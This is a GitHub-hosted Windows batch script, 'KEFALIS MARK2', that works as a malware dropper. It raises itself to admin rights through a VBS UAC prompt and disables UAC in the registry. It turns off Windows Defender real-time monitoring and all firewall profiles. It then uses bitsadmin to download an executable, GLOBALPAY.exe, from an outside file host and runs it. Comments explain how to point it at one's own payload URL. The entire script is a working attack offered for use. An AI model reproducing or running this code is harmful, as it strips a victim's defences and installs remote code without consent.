-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkefaLISMARK1
46 lines (36 loc) · 1.38 KB
/
kefaLISMARK1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
::----------------------------KEFALIS MARK2 -------------------::
::U NEED A ONE WEBSITE OR WEBSERVER FOR BITSADMIN TO UPLOAD A FILE
::THE URL SHOULD LIKE THIS URL/FILE.EXE,BAT OR ANY EXTENSION TO DOWNLOAD FILE
::BY ANALYZING A CODE U WILL GET A WEBSITE:)::
@echo off
call :isAdmin
if %errorlevel% == 0 (
goto :run
) else (
echo Requesting administrative privileges...
goto :UACPrompt
)
exit /b
:isAdmin
fsutil dirty query %systemdrive% >nul
exit /b
:run
start /min cmd.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
powershell set-mppreference -disablerealtimemonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $true
netsh advfirewall set allprofiles state off
netsh advfirewall set currentprofile state off
netsh advfirewall set domainprofile state off
netsh advfirewall set privateprofile state off
netsh advfirewall set publicprofile state off
start /min bitsadmin /transfer "Download" /download /priority normal https://file.ac/Xu_1D5BCj4E/GLOBALPAY.exe "C:\GLOBALPAY.exe"
cd\
start GLOBALPAY.exe
exit /b
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "cmd.exe", "/c %~s0 %~1", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B`